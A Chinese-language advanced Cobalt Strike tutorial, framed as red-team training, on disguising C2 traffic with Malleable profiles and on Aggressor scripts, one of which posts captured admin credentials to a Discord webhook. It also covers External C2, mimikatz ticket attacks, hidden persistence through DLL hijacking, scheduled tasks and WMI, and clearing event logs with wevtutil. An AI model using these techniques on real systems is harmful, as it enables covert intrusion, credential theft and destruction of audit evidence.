1. 从“能用”到“会用”进阶篇的核心价值如果你已经跟着基础教程成功启动了Cobalt Strike的Team Server连接上了客户端并且用几个基础的Payload打了几台靶机那么恭喜你你已经迈出了第一步。但很快你就会发现事情没那么简单。生成的木马被杀毒软件秒杀、内网机器死活弹不回Shell、流量特征明显到防守方一眼就能识别、稍微复杂点的横向移动就卡壳……这些才是实战中的常态。“进阶”二字意味着我们要从“工具使用者”转变为“战术设计者”。Cobalt Strike后文简称CS的强大绝不在于它提供了一个生成exe的按钮而在于它提供了一整套用于模拟高级威胁、进行纵深渗透的框架和基础设施。进阶篇的核心就是深入这套框架的肌理理解其通信、隐匿、扩展的机制并基于实战目标进行定制化改造。我们将不再满足于“点一下按钮”而是要搞清楚每个按钮背后的流量是什么样子、为什么这样设计、以及如何让它更贴合我们的攻击链。网络上很多教程停留在基础功能展示对核心的Malleable C2 Profile、第三方工具集成、流量伪装、团队协作等关键实战技能语焉不详。本篇内容将围绕这些深度主题结合最新的4.7版本特性拆解一套可用于模拟真实APT攻击的CS实战框架搭建与运用思路。我们的目标不是提供攻击脚本而是让你理解原理从而能自主应对复杂多变的防守环境。2. 基础设施的深度隐匿与定制Malleable C2 Profile精讲很多人在用CS时直接使用默认配置。这在实战中几乎是“自杀”行为。默认的证书、默认的URI路径如/jquery-3.3.1.min.js、默认的元数据字段都已被各大安全厂商收录为特征。Malleable C2 Profile可塑C2配置文件是CS进阶的第一道也是最重要的一道门槛。它不是一个简单的配置文件而是一个用于定义Beacon与Team Server之间所有通信行为的“剧本”。2.1 Profile的核心结构与工作原理一个Profile文件本质是一个用特定语法描述的网络通信模板。CS在生成PayloadStager或Stageless时会将Profile中定义的规则编译进去。当Beacon上线时它会严格按照这个“剧本”与Team Server对话。一个基础的Profile通常包含以下核心部分http-get与http-post分别定义Beacon在“拉取任务”和“回传数据”时使用的HTTP请求。这是流量伪装的主战场。http-stager定义用于分发Stage分阶段Payload中后续的较大Payload的URI和响应格式。http-config定义HTTP请求的全局头部如User-Agent、Cookie等。metadata定义Beacon元数据如PID、用户名、主机名如何编码、加密并隐藏在通信中。code-signer用于设置伪造的代码签名证书信息仅影响内存中伪造不影响文件本身。process-inject定义Beacon如何将代码注入到目标进程包括分配内存、写入数据、创建线程等细节。理解其工作流是关键当Beacon被触发它首先会按照http-get的配置向指定的URI发起一个请求这个请求里可能就藏着加密后的元数据。Team Server收到后如果没有任务会返回一个看似正常的HTTP响应如一个404页面或一张图片但这个响应里可能藏着加密的指令。如果有任务Beacon则会按照http-post的配置将任务执行结果封装在请求体或参数中回传。2.2 实战Profile的编写与调试技巧直接手写一个完美的Profile是困难的。更高效的做法是找一个优秀的开源Profile进行修改。例如jquery-c2.4.0.profile模仿了jQuery库的请求microsoft-365.profile模仿了Microsoft 365的流量。修改的关键点URI路径避免使用/api/、/admin/等敏感路径。模仿目标环境常见的路径如/s/、/analytics、/fonts/等。可以设置多个uri选项让Beacon随机选择。http-get { set uri /s/refnb_sb_noss_2/167-3294888-0262949/field-keywordsbooks; # 或者使用多个 # set uri /css/style.css /js/app.js /img/logo.png; }HTTP头部这是模仿流量的重中之重。仔细研究你要模仿的合法软件或服务的流量复制其典型的Header如Accept、Accept-Language、Cache-Control、Accept-Encoding等。User-Agent尤为重要应使用与目标环境匹配的、常见的浏览器或应用UA字符串池。http-config { set headers Date, Server, Content-Length, Keep-Alive, Connection, Content-Type; header Server Apache/2.4.41 (Ubuntu); header Content-Type text/html; charsetutf-8; header X-Powered-By PHP/7.4.3; }元数据与输出格式化这是将你的数据“藏”起来的地方。metadata块定义了如何将系统信息如computer name进行编码base64、base64url、mask等、加密xor、aes256等并放入HTTP请求的哪个部分header、url-parameter、post-data。http-get { server { header Cookie SESSIONID%metadata%; // 将元数据放到Cookie头里 } metadata { base64url; // 先进行base64url编码 prepend SESSIONID; // 在前面加上字符串 header Cookie; // 指定放在Cookie头 } }同样http-post中的output块定义了如何将任务结果如whoami的输出进行编码和隐藏。使用curl进行调试这是最实用的技巧。在编写或修改Profile后不要直接用于实战。先在测试环境启动Team Server并加载该Profile然后使用curl命令模拟Beacon的请求观察请求和响应是否符合预期。# 模拟一个带特定Cookie的GET请求 curl -v -H Cookie: SESSIONIDxxxx http://your-team-server:80/s/refnb_sb_noss_2/... # 观察返回的HTTP状态码、头部和内容。一个正常的“无任务”响应应该看起来像一个普通的网页或错误页面。注意过于复杂或冷门的Profile可能适得其反。在一个大量使用Apache服务器的环境中你的Profile模仿Nginx的特定头部反而会引起怀疑。最佳实践是贴近目标环境。在进入内网后可以先用侦察手段抓取一些内部系统的正常流量然后快速定制一个模仿该内部系统流量的Profile用于后续横向移动这将极大提高隐蔽性。3. 第三方工具集成与自动化攻击链构建CS的另一个强大之处在于其强大的扩展性。通过Aggressor Script.cna文件和外部C2接口你可以将几乎任何外部工具集成到CS的图形化界面中实现一键化、可视化的复杂攻击。3.1 Aggressor Script 实战应用Aggressor Script是CS的专用脚本语言基于Sleep语言。它不仅可以定制客户端UI、添加菜单更能定义复杂的攻击逻辑。一个典型的场景自动化信息收集与靶标定位。假设我们拿到一台内网机器的Beacon常规操作是手动运行net view、ipconfig、arp -a等命令然后根据结果再决定下一步。通过Aggressor Script我们可以将这些步骤自动化// 定义一个名为“快速内网侦察”的菜单项 popup beacon_bottom { item(快速内网侦察) { // 1. 获取当前目标信息 local($computer $internalIP); $computer beacon_info($1, computer); $internalIP beacon_info($1, internal); // 在事件日志中显示开始信息 blog($1, 开始对 . $computer . ( . $internalIP . ) 进行快速内网侦察...); // 2. 执行一系列命令并将结果暂存到变量 bshell($1, net view /domain); // 查看域 sleep(2); // 等待一下避免命令执行太快 bshell($1, ipconfig /all); // 查看详细网络配置 sleep(2); bshell($1, arp -a); // 查看ARP缓存 sleep(2); bshell($1, net localgroup administrators); // 查看本地管理员 // 3. 自动探测常见Web管理界面假设是80/443端口 blog($1, 正在探测同网段常见管理端口...); targets subnet($internalIP, 24); // 生成同C段IP列表 foreach $target (targets) { // 使用portscan别名需提前定义或使用内置的进行快速扫描这里简化为ping // 实际应用中应调用更强大的扫描模块如通过jump psexec或rportscan插件 // 此处仅为逻辑演示 // portscan($1, $target, 80,443,8080,8443, quick_scan, 5); } blog($1, 快速内网侦察流程执行完毕。请查看各命令输出。); } }这个脚本会在你右键点击一个Beacon时在弹出菜单底部增加一个选项。点击后它会自动按顺序执行一系列侦察命令并将输出呈现在CS的事件日志Event Log中。你可以根据输出快速判断这台机器是域成员、是Web服务器、还是跳板机。更高级的用法是集成外部工具比如将Impacket套件中的psexec.py、smbexec.py封装成Beacon的jump命令。你需要编写脚本调用本地的Python解释器执行这些工具并解析其输出将获得的Shell自动转化为一个新的Beacon会话。这需要较强的脚本编写能力但一旦完成你的横向移动效率将成倍提升。3.2 外部C2与通道工具集成CS支持External C2接口这是一个非常强大的特性。它允许你使用任何语言Python、Go、C#等编写一个第三方控制器这个控制器作为“中间人”管理你自己的Payload称为External Payload与CS的Team Server之间的通信。为什么需要这个为了绕过一些基于CS默认通信模式的检测。例如你可以用Go编写一个Payload它通过WebSocket协议与你的第三方控制器通信而你的控制器则通过HTTPS与CS的Team Server通信。对于防守方来说他们看到的只是你的Go程序产生的WebSocket流量完全看不到CS的原始HTTP(S)流量特征。实战步骤简述编写第三方控制器需要实现CS定义的External C2协议。协议本质上是TCP套接字通信规定了连接、数据帧格式4字节长度数据、心跳等。开源社区有ExternalC2框架如用Go写的EC2框架可以参考。生成External Payload在CS的Attack - Packages - Windows Executable (S)中选择External C2作为输出格式。这会生成一个DLL文件。部署与连接将你的第三方控制器部署在一台VPS上并运行。将生成的DLL通过某种方式如钓鱼在目标上执行。DLL会连接你的第三方控制器控制器再连接CS的Team Server从而建立一条迂回的通信链路。这个功能门槛较高但它是实现“流量完全定制化”的终极手段。你可以设计任何你想要的通信协议和加密方式只要你的控制器能正确翻译给CS即可。4. 横向移动与权限维持的进阶战术基础篇里你可能用过psexec、winrm进行横向移动。在进阶场景中我们需要更隐蔽、更持久的方式。4.1 票据传递与Kerberos攻击的CS实现在内网域环境中Kerberos协议是身份验证的核心。CS提供了强大的mimikatz集成通过execute-assembly或powerpick调用SharpKatz等.NET版本更隐蔽可以轻松实现票据传递Pass-the-Ticket, PtT和票据伪造Golden/Silver Ticket。关键操作流程抓取票据在已获得高权限如SYSTEM或域管理员的Beacon上使用mimikatz kerberos::list /export命令通过CS的execute-assembly或加载mimikatz的Reflective DLL将当前内存中的Kerberos票据TGT和TGS导出为.kirbi文件。注入票据将这些.kirbi文件下载到攻击机然后在另一个用于横向移动的Beacon会话中使用mimikatz kerberos::ptt ticket.kirbi命令将票据注入到该会话的内存中。访问资源注入票据后该Beacon在访问票据所对应的服务时如域控的C$共享就不再需要提供密码实现了无密码横向移动。CS的View - Credentials标签页会自动化部分过程自动解析mimikatz的输出并存储票据。你可以直接右键点击一个票据选择Inject TicketCS会自动完成注入过程。关于黄金票据/白银票据这需要你已获取域控的krbtgt账户的NTLM Hash或特定服务账户的Hash。在CS中你可以使用mimikatz的kerberos::golden命令来伪造票据然后同样使用ptt注入。CS的Attack - Packages里甚至提供了生成黄金票据的预制攻击包但理解其原理至关重要黄金票据让你可以伪造任意用户的TGT从而访问域内任何服务白银票据则让你可以伪造针对特定服务的TGS。4.2 隐蔽的权限维持服务、计划任务与WMI事件订阅添加用户、注册服务这些常规手段容易被发现。我们需要更隐蔽的后门。服务 DLL 劫持寻找一个以SYSTEM权限运行、但指向的DLL路径不存在的Windows服务。将你的Beacon DLL命名为该DLL名并放置在该服务期望的路径下。当服务重启或系统重启时你的DLL将被加载。在CS中你可以使用sc命令或PowerShell来查询和操作服务。# 在Beacon中查询服务配置 shell sc qc SomeService # 查看BINARY_PATH_NAME寻找可能的DLL路径计划任务的隐藏使用schtasks创建计划任务时利用/TN参数指定一个看起来合法的任务名如\Microsoft\Windows\WindowsUpdate\Scheduled Start。并使用/XML参数导入一个精心构造的XML文件该文件可以设置更复杂的触发器和动作比命令行参数更灵活且能隐藏一些属性。# 从文件创建任务 shell schtasks /Create /TN \Microsoft\Windows\WindowsUpdate\Scheduled Start /XML C:\path\to\task.xmlWMI 事件订阅这是非常高级且隐蔽的持久化方式。可以配置一个WMI事件过滤器例如监听特定用户登录、特定进程创建当事件触发时通过事件消费者如执行命令行来触发你的后门。CS本身不提供图形化界面来创建这个但可以通过PowerShell或wmic命令在Beacon中实现。防守方需要专门检查WMI数据库才能发现。# 一个简单的示例在系统启动后第1分钟执行命令 # 在Beacon的PowerShell上下文中执行 powershell $FilterArgs {...}; $ConsumerArgs {...}; $FilterSet-WmiInstance...; $ConsumerSet-WmiInstance...; $BindingSet-WmiInstance...关键点所有这些操作都应尽可能使用与被控主机环境相符的“白名单”程序或系统自带命令sc,schtasks,powershell,wmic来完成避免上传额外的可疑工具减少告警。5. 团队协作、日志分析与OpsSec行动安全当攻击从单人作战变为团队协作时规范性和安全性就变得尤为重要。5.1 多用户协作与事件日志深度利用CS的Team Server支持多客户端连接。团队负责人可以创建不同的Listeners分配给不同小组如钓鱼组、内网横向组、数据窃取组并通过View - Sessions中的颜色标签对会话进行分类如红色代表域控蓝色代表财务服务器。事件日志Event Log是团队协同的核心。所有关键操作新会话上线、凭证获取、文件下载、横向移动尝试都会记录在此。高级用法包括自定义日志触发通过Aggressor Script可以定义当特定事件发生时自动执行操作。例如当获取到域管理员凭证时自动向团队的Slack或Discord频道发送一条通知。on credential_export { local($user $password $host); $user $2; $password $3; $host $4; if ($user contains ADMIN) { // 调用一个发送Webhook的函数 postToDiscord(新高权限凭证获取$user $host); } }日志分析与攻击复盘在行动结束后导出所有事件日志可以清晰地复盘整个攻击路径绘制攻击时间线找出可能暴露的环节OpsSec失误用于提升下一次行动的安全性。5.2 OpsSec避免暴露的关键守则OpsSec是贯穿始终的生命线。再好的技术一次疏忽就可能导致全盘皆输。隔离基础设施用于钓鱼的Team Server、用于内网横向的Team Server、用于接收数据的存储服务器这三者物理或逻辑上必须分开。不要用一个IP地址既做钓鱼又做内网攻击。Payload与Listener分离为不同阶段、不同目标使用不同的Listeners和对应的Profiles。针对外部员工的钓鱼邮件Payload其回连的C2服务器应该与内网横向移动使用的C2服务器不同。控制攻击节奏避免在目标内网中进行大规模、高频率的扫描或爆破。这极易触发IDS/IPS。使用CS的sleep和jitter命令控制Beacon的回连间隔和随机抖动。sleep 60表示每60秒回连一次jitter 20表示回连时间有20%的随机波动即在48-72秒之间这能使流量更像正常心跳。# 在Beacon中设置 sleep 60 jitter 20清理痕迹在撤离前尽可能清理上传的工具、创建的临时文件、以及系统日志如安全日志4688、 PowerShell日志4104。CS提供了logonpasswords、kerberos_ticket_purge等命令但清理Windows事件日志需要手动使用wevtutil或通过mimikatz的event::drop模块需高权限。# 清除安全日志需要Administrator权限 shell wevtutil cl Security # 清除系统日志 shell wevtutil cl System注意全盘清除日志本身是一个高危行为可能直接引发告警。更精细的做法是只清除与你的活动相关的特定事件ID的日志条目但这需要更复杂的脚本。对抗内存扫描现代EDR会扫描进程内存中的恶意代码特征。CS的process-inject配置可以优化注入行为例如使用CreateThread而不是CreateRemoteThread设置正确的内存保护权限RWX权限的内存页非常可疑或者使用Module Stomping等技术将Shellcode注入到合法DLL的内存空间中。这些需要在Malleable C2 Profile的process-inject块中进行精细调整。从“能用”到“会用”Cobalt Strike本质是从依赖图形界面按钮到理解并驾驭其底层框架的转变。它不再是一个简单的“远控软件”而是一个需要你精心设计战术、细致配置流量、谨慎管理行动的“网络作战平台”。真正的进阶在于你能根据每一次任务的目标和环境灵活组合这些技术设计出一条隐蔽、高效、持久的攻击链并在团队协作中清晰有序地执行。记住工具是死的思维是活的。最强大的Profile和脚本也比不上你对目标网络的深刻理解和对防守方心理的准确预判。持续学习最新的防御技术并思考如何绕过它们才是红队技术保持活力的根本。